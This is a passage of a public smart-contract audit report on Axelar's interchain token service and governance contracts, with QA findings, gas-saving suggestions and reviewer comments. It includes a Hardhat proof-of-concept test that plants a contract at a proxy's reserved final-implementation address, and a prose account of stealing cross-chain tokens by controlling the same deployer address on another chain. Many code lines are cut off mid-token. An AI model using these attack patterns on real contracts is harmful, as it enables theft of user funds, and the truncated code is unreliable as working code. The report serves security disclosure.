The issue is that if the implementation supports deploying with `Create3`, a user could use the salt (`keccak256('final-implementation')`) and deploy a final implementation without calling `finalImplementation`, since `Create3` only uses `msg.sender` and `salt` to determine the address.

`InterchainTokenService`, which is the only implementation in scope using `FinalProxy`, does however not appear to be vulnerable to this, since all the salts used for deploys are calculated, not supplied. But future implementations/other contracts using `FinalProxy` might be.

PoC

Test in `proxy.js`:

```
        it('vulnerable FinalProxy implementation', async () => {
            const vulnerableDeployerFactory = await ethers.getCo
            const maliciousContractFactory = await ethers.getCon
            const vulnerableImpl = await vulnerableDeployerFacto

            const proxy = await finalProxyFactory.deploy(vulnera
            expect(await proxy.isFinal()).to.be.false;

            const vulnerable = new Contract(await proxy.address,

            // steal final-implementation salt
            const salt = keccak256(toUtf8Bytes('final-implementa

            // someone deploys to the final-implementation addre
            const bytecode = await maliciousContractFactory.getI
            await vulnerable.vulnerableDeploy(salt,bytecode);

            // proxy is final without calling finalUpgrade
            expect(await proxy.isFinal()).to.be.true;
            const malicious = new Contract(await proxy.address,
            expect(await malicious.maliciousCode()).to.equal(4);
        });
```

`VulnerableDeployer.sol`:

```
// SPDX-License-Identifier: MIT
```

```
pragma solidity ^0.8.0;

import { Create3 } from '../deploy/Create3.sol';

contract MaliciousContract {

    function setup(bytes calldata params) external {}

    function maliciousCode() public pure returns(uint256) {
        return 4;
    }
}

contract VulnerableDeployer {

    function setup(bytes calldata params) external {}

    function vulnerableDeploy(bytes32 salt, bytes memory bytecoc
        return Create3.deploy(salt, bytecode);
    }
}
```

Recommendation

Have the user deploy the final implementation and then upgrade to it without using `Create3`. That way, a vulnerable implementation contract cannot be abused and taken over.

[L-02] A users tokens can be stolen if they don't control `msg.sender` address on all chains

When a user wants to register a token for use across chains they first call `InterchainTokenService::deployAndRegisterStandardizedToken` on the "local" chain. This will use a user provided salt together with the `msg.sender` to create the `tokenId` which is used as the salt to create both the `StandardizedToken` and the `TokenManager`.

They can then use this to deploy their token to any chain that Axelar supports.

Relying on `msg.sender` across chain comes with some security considerations though. If the user/protocol don't control the address used as `msg.sender` across all chains that are supported by Axelar ITS, they are susceptible to the same hack that affected [wintermute](); where an old gnosis wallet was used that had an address that could be stolen on another chain.

If an attacker controls the `msg.sender` address on another chain, they can simply create a token and manager with the same salt that they control. This will give them the same `tokenId`. They can then send a message to the chain where the real token is and get funded real tokens. All they've done is burn/lock their fake token on their `sourceChain`.

Recommendation

I recommend this is highlighted as a risk in the documentation so third party protocols building on top of Axelar are aware of this risk.

[L-03] No event emitted when a vote is cast in `MultisigBase`

To vote in `MultisigBase` a signer submits the same data as the proposal. Then, this data is hashed into a **proposal id (`topic`)** which has its votes tracked. When enough votes are cast the proposal passes:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/auth/MultisigBase.sol#L51-L63

```
File: cgp/auth/MultisigBase.sol

51:         if (voting.hasVoted[msg.sender]) revert AlreadyVoted(
52:
53:         voting.hasVoted[msg.sender] = true;
54:
55:         // Determine the new vote count.
56:         uint256 voteCount = voting.voteCount + 1;
57:

            // @audit no event emitted to track votes

58:         // Do not proceed with operation execution if insuffi
59:         if (voteCount < signers.threshold) {
60:             // Save updated vote count.
61:             voting.voteCount = voteCount;
```

```
            return;
        }
```

However, there is no event emitted for when a vote is cast. This makes it difficult to track voting off-chain, which is important for transparency and for users and signers to know what `topics` are going on. `topics` can also only be tracked by their hashed value, hence, emitting this will help users to query on-chain for specific votes.

Recommendation

Add an event for when a vote is cast, containing `signer`, `topic` and `voteCount`.

[L-04] `InterchainTokenService` non-remote deploy calls accept `eth`, but are not using it

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L309

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L347

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L395

In `InterchainTokenService`, the calls to deploy on the local chain are `payable` but do not use the `eth` provided. `deployCustomTokenManager` as an example:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L343-L352

```
File: its/interchain-token-service/InterchainTokenService.sol

343:    function deployCustomTokenManager(
```

```
        bytes32 salt,
        TokenManagerType tokenManagerType,
        bytes memory params
    ) public payable notPaused returns (bytes32 tokenId) { /
        address deployer_ = msg.sender;
        tokenId = getCustomTokenId(deployer_, salt);
        _deployTokenManager(tokenId, tokenManagerType, param
        emit CustomTokenIdClaimed(tokenId, deployer_, salt);
    }
```

However, none of the deploy functions use any `eth`. A user could accidentally send `eth` here that would be stuck in the contract.

Recommendation

Consider removing `payable` from `registerCanonicalToken` `deployCustomTokenManager` and `deployAndRegisterStandardizedToken`. `payable` could also be removed from `TokenManagerDeployer::deployTokenManager` and `StandardizedTokenDeployer::deployStandardizedToken`, as they also do not consume any `eth`.

[L-05] Default values for `deployAndRegisterStandardizedToken` can make it complicated for third party implementers

When calling `InterchainTokenService` to deploy a `StandardizedToken`, a user supplies [some parameters for the setup](https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L395-L402).

As `mintTo` for a possible initial mint when setting up the token and `operator` for the `TokenManager`; however, `msg.sender` is used:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L395-L402

```
File: its/interchain-token-service/InterchainTokenService.sol
```

```
    ) external payable notPaused {
        bytes32 tokenId = getCustomTokenId(msg.sender, salt)
        //                                                 here
        _deployStandardizedToken(tokenId, distributor, name,
        address tokenManagerAddress = getTokenManagerAddress
        TokenManagerType tokenManagerType = distributor == t
        address tokenAddress = getStandardizedTokenAddress(t
        //                  here msg.sender is used for `oper
        _deployTokenManager(tokenId, tokenManagerType, abi.e
    }
```

This can make it more complicated for third parties to develop on top of the `InterchainTokenService`, as they have to keep in mind that the contract calling will be `operator` and possibly the receiver of any initial mint.

Recommendation

Consider adding `mintTo` and `operator` as parameters that can be passed to the call.

[L-06] `InterchainTokenServiceProxy` is `FinalProxy`

`InterchainTokenServiceProxy` inherits from `FinalProxy`. This makes it possible for `owner` to accidentally upgrade `InterchainTokenService` to an un-upgradable version.

PoC

Test in `tokenService.js`:

```
    describe('Final Upgrade Interchain Token Serivce', () => {
        it('should upgrade to new token service', async () => {
            const factory = await ethers.getContractFactory("Upg
            const bytecode = await factory.getDeployTransaction(
            const finalProxy = new Contract(await service.addres
            await finalProxy.finalUpgrade(bytecode,'0x');

            expect(await finalProxy.isFinal()).to.equal(true);

            // contract is final
            const upgradedITS = new Contract(await service.addre
```

```
            expect(await upgradedITS.foo()).to.equal(4);
        });
    });
```

`UpgradedITS.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Upgradable } from '../../gmp-sdk/upgradable/Upgradable.

contract UpgradedITS is Upgradable {

    bytes32 private constant CONTRACT_ID = keccak256('interchair

    function contractId() external pure returns (bytes32) {
        return CONTRACT_ID;
    }

    function _setup(bytes calldata ) internal override {}

    function foo() public pure returns(uint256) {
        return 4;
    }
}
```

Recommendation

Consider inheriting from `Proxy` instead of `FinalProxy`.

[L-07] Low level `call` will always succeed for non-existent addresses

https://docs.soliditylang.org/en/latest/control-structures.html#error-handling-assert-require-revert-and-exceptions:

> The low-level functions call, `delegatecall` and `staticcall` return true as their first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed.

Calls are done in these instances:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/util/Caller.sol#L18

```
File: cgp/util/Caller.sol

18:         (bool success, ) = target.call{ value: nativeValue }(
```

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/interchain-governance-executor/InterchainProposalExecutor.sol#L76

```
File: interchain-governance-executor/InterchainProposalExecutor.
76:             (bool success, bytes memory result) = call.target
```

This is mentioned in the Automated findings report but the instances identified are wrong.

Recommendation

Where applicable, consider adding a check if there is code on the target.

[L-08] `InterchainTokenService::getImplementation` returns `address(0)` for invalid types

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L223-L233

```
File: its/interchain-token-service/InterchainTokenService.sol

223:    function getImplementation(uint256 tokenManagerType) ext
224:        // There could be a way to rewrite the following usi
225:        // but accessing immutable variables and/or enum val
226:        if (TokenManagerType(tokenManagerType) == TokenManag
227:            return implementationLockUnlock;
228:        } else if (TokenManagerType(tokenManagerType) == Tok
```

```
            return implementationMintBurn;
        } else if (TokenManagerType(tokenManagerType) == Tok
            return implementationLiquidityPool;
        }
    }
```

Other integrations can rely on this and returning `address(0)` for the implementation contract can break their integrations.

Recommendation

Consider reverting with `Invalid TokenManagerType` or similar.

[L-09] Consider a two way transfer of `governance`

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/AxelarGateway.sol#L254-L258

```
File: cgp/AxelarGateway.sol

    function transferGovernance(address newGovernance) exter
        if (newGovernance == address(0)) revert InvalidGover

        _transferGovernance(newGovernance);
    }
```

The `governance` address has complete control over the `AxelarGatway` since it can do upgrades.

Recommendation

Consider implementing a two way (propose/accept) change procedure for it to avoid accidentally handing it over to the wrong address.

[L-10] Consider a two way transfer of `operator` and `distributor`

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/utils/Distributable.sol#L51-L53

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/utils/Operatable.sol#L51-L53

```
File: its/utils/Operatable.sol

51:     function setOperator(address operator_) external onlyOper
52:         _setOperator(operator_);
53:     }
```

The exact same code is in `Distributable` as well, as these are powerful roles in for tokens/token managers.

Recommendation

Consider implementing a two way (propose/accept) change procedure for it to avoid accidentally handing it over to the wrong address.

[S-01] Consider adding a version to upgradable contracts

That way, a user can query a contract and see if it is upgraded or not.

[R-01] `sourceAddress` means two different things in `InterchainTokenService`

In the function `_execute`, which is the entry point from `AxelarExecutor`, `sourceAddress` means the source for the cross-chain call, i.e the `sourceChain` address of that `InterchainTokenSerivce` contract:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L575-L579

```
File: its/interchain-token-service/InterchainTokenService.sol
```

```
575:    function _execute(
576:        string calldata sourceChain,
577:        string calldata sourceAddress, // <-- `sourceAddress
578:        bytes calldata payload
579:    ) internal override onlyRemoteService(sourceChain, sourc
```

Elsewhere in the code, in `_processSendTokenWithDataPayload`, `transmitSendToken` and `expressReceiveTokenWithData`, the meaning of `sourceAddress` has changed to which address the transferred tokens originate from:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L622-L640

```
File: its/interchain-token-service/InterchainTokenService.sol

622:    function _processSendTokenWithDataPayload(string calldat
623:        bytes32 tokenId;
624:        uint256 amount;
625:        bytes memory sourceAddress; // <-- `sourceAddress` i

...

633:        {
634:            bytes memory destinationAddressBytes;
635:            (, tokenId, destinationAddressBytes, amount, sou
636:                payload,
637:                (uint256, bytes32, bytes, uint256, bytes, by
638:            );
639:            destinationAddress = destinationAddressBytes.toA
640:        }
```

This can cause confusion and as `sourceAddress` in the context of `_execute`, is a critical for security checks to trust the call it could be risky if these are confused for each other.

Recommendation

Consider changing the token transfer source to `tokenSenderAddress` for it to be clear what it means.

[R-02] `InterchainTokenService::_validateToken` could have a more descriptive name

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L726-L738

```
File: its/interchain-token-service/InterchainTokenService.sol

726:    function _validateToken(address tokenAddress)
727:        internal
728:        returns (
...
732:        )
733:    {
734:        IERC20Named token = IERC20Named(tokenAddress);
735:        name = token.name();
736:        symbol = token.symbol();
737:        decimals = token.decimals();
738:    }
```

`_validateToken` doesn't do any actual validation. Could be renamed to `_getTokenData` or similar.

[R-03] `AxelarGateway::onlyMintLimiter` could have a more descriptive name

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/AxelarGateway.sol#L87-L88

```
File: cgp/AxelarGateway.sol

87:    modifier onlyMintLimiter() {
88:        if (msg.sender != getAddress(KEY_MINT_LIMITER) && msg
```

`onlyMintLimiter` could be named `onlyMintLimiterOrGov` since this is what it verifies.

[N-01] `RemoteAddressValidator::_lowerCase` will not work for Solana addresses

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L54-L61

```
File: its/remote-address-validator/RemoteAddressValidator.sol

54:     function _lowerCase(string memory s) internal pure returr
55:         uint256 length = bytes(s).length;
56:         for (uint256 i; i < length; i++) {
57:             uint8 b = uint8(bytes(s)[i]);
58:             if ((b >= 65) && (b <= 70)) bytes(s)[i] = bytes1
59:         }
60:         return s;
61:     }
```

This converts an address to lowercase (`65-70 -> A-F`). Solana addresses are `base58` encoded versions of a 32 byte array. Thus, they first have more letters and converting it to lowercase will make it another address.

Recommendation

Consider changing this before adding Solana as a supported chain.

[N-02] `InterchainGovernance` can be `abstract`

As the contract is not complete on its own, I recommend making it `abstract` to convey that it is supposed to be extended.

[N-03] `eta` in `ProposalCancelled` event can be misleading

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/governance/InterchainGovernance.sol#L135 https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/governance/AxelarServiceGovernance.sol#L94

```
File: cgp/governance/AxelarServiceGovernance.sol

94:             emit ProposalCancelled(proposalHash, target, call
```

The `eta` here can be misleading, as it might not be the `eta` of the event. The user can send what they want here and if it is the correct `eta` that the user used to schedule, it can still have been changed when scheduling the `Timelock`.

Recommendation

Consider either reading the `eta` before clearing it in `_cancelTimeLock` or don't include the `eta` in the event at all.

[N-04] Incomplete NatSpec

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L411-L424

```
File: its/interchain-token-service/InterchainTokenService.sol

411:     * @param distributor the address that will be able to m
412:     * @param destinationChain the name of the destination c
413:     * @param gasValue the amount of native tokens to be use
414:     * specified needs to be passed to the call
415:     * @dev `gasValue` exists because this function can be p
416:     */
417:    function deployAndRegisterRemoteStandardizedToken(
418:        bytes32 salt,
419:        string calldata name,
420:        string calldata symbol,
421:        uint8 decimals,
422:        bytes memory distributor,
423:        bytes memory operator, // <-- operator missing from
424:        string calldata destinationChain,
```

`@param operator` is missing from NatSpec

[N-05] Erroneous comments

`TokenManagerProxy.sol`:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/proxies/TokenManagerProxy.sol#L8-L13

```
File: its/proxies/TokenManagerProxy.sol

 8:/**
 9: * @title TokenManagerProxy
10: * @dev This contract is a proxy for token manager contracts.
11: * inherits from FixedProxy from the gmp sdk repo
12: */
13:contract TokenManagerProxy is ITokenManagerProxy {
```

It does not inherit from `FixedProxy`.

`InterchainProposalExecutor.sol`:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/interchain-governance-executor/InterchainProposalExecutor.sol#L19-L22

```
File: interchain-governance-executor/InterchainProposalExecutor.

19: *
20: * This contract is abstract and some of its functions need t
21: */
22:contract InterchainProposalExecutor is IInterchainProposalExe
```

The contract is not abstract at all.

`AxelarGateway.sol`:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/AxelarGateway.sol#L40-L41

```
File: cgp/AxelarGateway.sol

40:    /// @dev Storage slot with the address of the current gov
41:    bytes32 internal constant KEY_MINT_LIMITER = bytes32(0x62
```

Should say `address of the current mint limiter` not `governance`.

`RemoteAddressValidator.sol`:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L24-L27

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L40-L41

```
File: its/remote-address-validator/RemoteAddressValidator.sol

24:     * @dev Constructs the RemoteAddressValidator contract, b
...
27:    constructor(address _interchainTokenServiceAddress) {

...

40:    function _setup(bytes calldata params) internal override
41:        (string[] memory trustedChainNames, string[] memory t
```

`both array parameters must be equal in length` should be for the `_setup` call not the `constructor`.

[N-06] Typos and misspellings

`InterchainTokenService.sol`:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L380

```
File: its/interchain-token-service/InterchainTokenService.sol

380:     * can be calculated ahead of time) then a mint/burn Tok
```

Also appears at:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L406

`InterchainToken.sol` :

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token/InterchainToken.sol#L28

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token/InterchainToken.sol#L40

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token/InterchainToken.sol#L76

```
File: its/interchain-token/InterchainToken.sol

28:     * TokenManager specifically to do it permissionlesly.
                                           -> permissionlessly

40:     * @param amount The amount of token to be transfered.
                                                   -> transferred

76:     * @param amount The amount of token to be transfered.
                                                   -> transferred
```

`InterchainTokenService.sol` :

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L159 https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L496

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L500

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L559

```
File: its/interchain-token-service/InterchainTokenService.sol

159:      * @return tokenManagerAddress deployement address of th
                                           -> deployment

496:      * @param sourceAddress the address where the token is c


500:      * @param metadata the data to be passed to the destiant
                                                         -> destinat

559:     function _sanitizeTokenManagerImplementation(address[] m
```

`TokenManager.sol`:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L78

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L103

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L159

```
File: its/token-manager/TokenManager.sol
```

```
78:     * @notice Calls the service to initiate the a cross-cha
                                                  -> a cross-chain .

103:     * @notice Calls the service to initiate the a cross-cha
                                                  -> a cross-chain .

159:     * @return the amount of token actually given, which wil
                                                                  -
```

TokenManagerProxy.sol:
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/proxies/TokenManagerProxy.sol#L73

```
File: its/proxies/TokenManagerProxy.sol

73:         address implementaion_ = implementation();
                 -> implementation
```

IInterchainTokenExecutable.sol, IInterchainTokenExpressExecutable.sol:
https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interfaces/IInterchainTokenExecutable.sol#L16

```
File: its/interfaces/IInterchainTokenExecutable.sol

16:     * @param tokenId the tokenId of the token manager managi
```

Same in:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interfaces/IInterchainTokenExpressExecutable.sol#L18

deanamiel (Axelar) commented:

> InterchainProposalExecutor is not abstract. We updated the NatSpec documentation.

> See PR [here](#).

[berndartmueller (judge) commented](#):

> Excellent and thorough QA report submitted by the warden! I agree with the outlined findings and their chosen severity.

Gas Optimizations

For this audit, 21 reports were submitted by wardens detailing gas optimizations. The [report highlighted below](#) by **Sathish9098** received the top score from the judge.

The following wardens also submitted reports: [Raihan](#), [Arz](#), [SAQ](#), [SM3_SS](#), [0xn006e7](#), [Rolezn](#), [naman1778](#), [0x11singh99](#), [petrichor](#), [ybansal2403](#), [SY_S](#), [flutter_developer](#), [hunter_w3b](#), [ReyAdmirado](#), [matrix_0wl](#), [0xAnah](#), [K42](#), [Walter](#), [dharma09](#), *and* [DavidGiladi](#).

Gas Optimization Issue Summary

Item	Issue	Instances	Gas Saved
[G-1]	Multiple address mappings can be combined into a single mapping of an address to a struct, where appropriate	1	21018
[G-2]	Using `calldata` instead of `memory` for read-only arguments in external functions saves gas	8	2820
[G-3]	Avoiding the overhead of `bool` storage	6	100600
[G-4]	Avoid `contract existence` checks by using low level calls	37	3700
[G-5]	Use `calldata` pointer. Saves more gas than `memory` pointer	2	600 GAS (Per Iteration)
[G-6]	`IF’s/require()` statements that check input arguments should be at the `top` of the function	2	300

Item	Issue	Instances	Gas Saved
[G-7]	Functions guaranteed to revert when called by normal users can be marked `payable`	11	231
[G-8]	Optimize `names` to save gas	27	-
[G-9]	Default value initialization	4	80
[G-10]	Use constants instead of `type(uintX).max`	7	91
[G-11]	Splitting `require()/if()` statements that use `&&` saves gas	4	52
[G-12]	Caching `global variables` is more expensive than using the actual variable (use `msg.sender` instead of caching it)	10	-

[G-01] Multiple address mappings can be combined into a single mapping of an address to a struct, where appropriate

We can combine multiple mappings below into structs. We can then pack the structs by modifying the uint type for the values. This will result in cheaper storage reads since multiple mappings are accessed in functions and those values are now occupying the same storage slot, meaning the slot will become warm after the first `SLOAD`. In addition, when writing to and reading from the struct values, we will avoid a `Gsset (20000 gas)` and `Gcoldsload (2100 gas)`, since multiple struct values are now occupying the same slot.

`RemoteAddressValidator.sol`:

Struct can be used for `remoteAddressHashes` and `remoteAddresses` since they are using same `string` as key. Also both mapping always used together in a same functions like `addTrustedAddress()` and `removeTrustedAddress()`. So `struct` is more efficient than `mapping`. As per gas tests, this will save `21018 GAS`.

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L15-L16

```
FILE: 2023-07-axelar/contracts/its/remote-address-validator/Remo

- 15: mapping(string => bytes32) public remoteAddressHashes;
- 16: mapping(string => string) public remoteAddresses;

+ struct RemoteAddressData {
+     bytes32 addressHash;
+     string addressString;
+ }

+ mapping(string => RemoteAddressData) public remoteAddressData;
```

```
FILE: Breadcrumbs2023-07-axelar/contracts/its/remote-address-val

15: mapping(string => bytes32) public remoteAddressHashes;
16: mapping(string => string) public remoteAddresses;
```

[G-02] Using `calldata` instead of `memory` for read-only arguments in external functions saves gas

Saves `2820 GAS` in 8 instances.

When a function with a `memory` array is called externally, the `abi.decode()` step has to use a for-loop to copy each index of the `calldata` to the `memory` index. Each iteration of this for-loop costs at least 60 gas `(i.e. 60 * <mem_array>.length)`. Using `calldata` directly, obliviates the need for such a loop in the contract code and runtime execution. Note that even if an interface defines a function as having memory arguments, it's still valid for implementation contracts to use `calldata` arguments instead.

If the array is passed to an internal function, which passes the array to another internal function where the array is modified and therefore memory is used in the external call, it's still more gas-efficient to use `calldata` when the `external` function uses modifiers; since the modifiers may prevent the internal functions from being called. Structs have the same overhead as an array of length one.

▶ Details

[G-03] Avoiding the overhead of `bool` storage

Saves `120600 GAS` in 6 instances.

```
// Booleans are more expensive than uint256 or any type that
// word because each write operation emits an extra SLOAD to
// slot's contents, replace the bits taken up by the boolean
// back. This is the compiler's defense against contract upg
// pointer aliasing, and it cannot be disabled.
```

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/58f635312aa21f947cae5f8578638a85aa2519f5/contracts/security/ReentrancyGuard.sol#L23-L27

Use `uint256(1)` and `uint256(2)` for true/false to avoid a `Gwarmaccess (100 gas)` for the extra `SLOAD`, and to avoid `Gsset (20000 gas)` when changing from false to true, after having been true in the past.

```
FILE: 2023-07-axelar/contracts/cgp/auth/MultisigBase.sol

15: mapping(address => bool) hasVoted;
21: mapping(address => bool) isSigner;
```

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/cgp/auth/MultisigBase.sol#L15

```
FILE: 2023-07-axelar/contracts/cgp/governance/AxelarServiceGover

22: mapping(bytes32 => bool) public multisigApprovals;
```

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/cgp/governance/AxelarServiceGovernance.sol#L22

```
FILE: 2023-07-axelar/contracts/interchain-governance-executor/Ir
```

```
24: mapping(string => mapping(address => bool)) public whitelist
27: mapping(string => mapping(address => bool)) public whitelist
```

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/interchain-governance-executor/InterchainProposalExecutor.sol#L24

```
FILE: 2023-07-axelar/contracts/its/remote-address-validator/Remo

19: mapping(string => bool) public supportedByGateway;
```

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L19

[G-04] Avoid contract existence checks by using low level calls

Saves `3700 GAS` in 37 instances.

Prior to 0.8.10, the compiler inserted extra code, including `EXTCODESIZE` (100 gas), to check for contract existence for external function calls. In more recent solidity versions, the compiler will not insert these checks if the external call has a return value. Similar behavior can be achieved in earlier versions by using low-level calls, since low level calls never check for contract existence.

```
FILE: Breadcrumbs2023-07-axelar/contracts/its/interchain-token-s

102: deployer = ITokenManagerDeployer(tokenManagerDeployer_).dep

162: tokenManagerAddress = deployer.deployedAddress(address(this

172: if (ITokenManagerProxy(tokenManagerAddress).tokenId() != tc

182: tokenAddress = ITokenManager(tokenManagerAddress).tokenAddr

193: tokenAddress = deployer.deployedAddress(address(this), toke
```

```
277: flowLimit = tokenManager.getFlowLimit();

287: flowOutAmount = tokenManager.getFlowOutAmount();

297: flowInAmount = tokenManager.getFlowInAmount();

311: if (gateway.tokenAddresses(tokenSymbol) == tokenAddress) re

331: tokenAddress = ITokenManager(tokenAddress).tokenAddress();

445: if (gateway.isCommandExecuted(commandId)) revert AlreadyExe

476: if (gateway.isCommandExecuted(commandId)) revert AlreadyExe

480: IERC20 token = IERC20(tokenManager.tokenAddress());

539: tokenManager.setFlowLimit(flowLimits[i]);

566:  if (ITokenManager(implementation).implementationType() !=

610: amount = tokenManager.giveToken(destinationAddress, amount)

653: amount = tokenManager.giveToken(expressCaller, amount);

657: amount = tokenManager.giveToken(destinationAddress, amount)

658: IInterchainTokenExpressExecutable(destinationAddress).execu

713: string memory destinationAddress = remoteAddressValidator.g

723: gateway.callContract(destinationChain, destinationAddress,

735:  name = token.name();

736: symbol = token.symbol();

737: decimals = token.decimals();

888: IInterchainTokenExpressExecutable(destinationAddress).expre
              sourceChain,
              sourceAddress,
              data,
              tokenId,
              amount
          );
```

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/its/interchain-token-service/InterchainTokenService.sol#L102

```
FILE: Breadcrumbs2023-07-axelar/contracts/cgp/AxelarGateway.sol

287: if (AxelarGateway(newImplementation).contractId() != contra

317: IAxelarAuth(AUTH_MODULE).transferOperatorship(newOperatorsI

329: bool allowOperatorshipTransfer = IAxelarAuth(AUTH_MODULE).v

449: depositHandler.destroy(address(this)

496: IAxelarAuth(AUTH_MODULE).transferOperatorship(newOperatorsI

524: IERC20(tokenAddress).safeTransfer(account, amount);

526: IBurnableMintableCappedERC20(tokenAddress).mint(account, am

543: IERC20(tokenAddress).safeTransferFrom(sender, address(this)

545: IERC20(tokenAddress).safeCall(abi.encodeWithSelector(IBurna

547: IERC20(tokenAddress).safeTransferFrom(sender, IBurnableMint


FILE: 2023-07-axelar/contracts/interchain-governance-executor/In

101: gateway.callContract(interchainCall.destinationChain, inter
```

[G-05] Use `calldata` pointer. Saves more gas than `memory` pointer

Saves `600 GAS` in `per Loop Iterations`.

Calling `calldata` instead of `memory` in the loop you have shown will save gas. This is because `calldata` is a read-only data structure, which means that it does not have to be copied into memory each time it is accessed.

`InterchainProposalExecutor.sol`:

Use `calldata` instead of `memory`: Saves `250-300 GAS` per iteration.

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/interchain-governance-executor/InterchainProposalExecutor.sol#L75

`call` value is not changed anywhere inside the loop. So `calldata` is more efficient than `memory` to save gas.

```
FILE: Breadcrumbs2023-07-axelar/contracts/interchain-governance-

74: for (uint256 i = 0; i < calls.length; i++) {
- 75:              InterchainCalls.Call memory call = calls[i];
+ 75:              InterchainCalls.Call calldata call = calls[i];
76:             (bool success, bytes memory result) = call.target
77:
78:             if (!success) {
79:                 _onTargetExecutionFailed(call, result);
80:             } else {
81:                 _onTargetExecuted(call, result);
82:             }
```

`AxelarGateway.sol`:

Use `calldata` instead of `memory`: Saves `250-300 GAS` per iteration.

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/cgp/AxelarGateway.sol#L270-L277

`symbol` value is not changed anywhere inside the loop. So `calldata` is more efficient than `memory` to save gas.

```
FILE: 2023-07-axelar/contracts/cgp/AxelarGateway.sol

270: for (uint256 i; i < length; ++i) {
- 271:              string memory symbol = symbols[i];
```

```
+ 271:            string calldata symbol = symbols[i];
272:            uint256 limit = limits[i];
273:
274:            if (tokenAddresses(symbol) == address(0)) revert
275:
276:            _setTokenMintLimit(symbol, limit);
277:        }
```

[G-06] `IF’s/require()` statements that check input arguments should be at the `top` of the function

Saves `300 GAS` in 2 instances.

Checks that involve constants should come before checks that involve state variables, function calls, and calculations. By doing these checks first, the function is able to revert before wasting a `Gcoldsload (2100 gas)` in a function that may ultimately revert in the unhappy case.

Cheaper to check the function parameter before making check. Saves `200- 300 GAS`:

https://github.com/code-423n4/2023-07-axelar/blob/2f9b234bb8222d5fbe934beafede56bfb4522641/contracts/cgp/auth/MultisigBase.sol#L172-L173

```
FILE: 2023-07-axelar/contracts/cgp/auth/MultisigBase.sol

169:  address account = newAccounts[i];
170:
171: // Check that the account wasn't already set as a signer fc
+ 273: if (account == address(0)) revert InvalidSigners();
- 172: if (signers.isSigner[account]) revert DuplicateSigner(acc
- 273: if (account == address(0)) revert InvalidSigners();
+ 172: if (signers.isSigner[account]) revert DuplicateSigner(acc
```

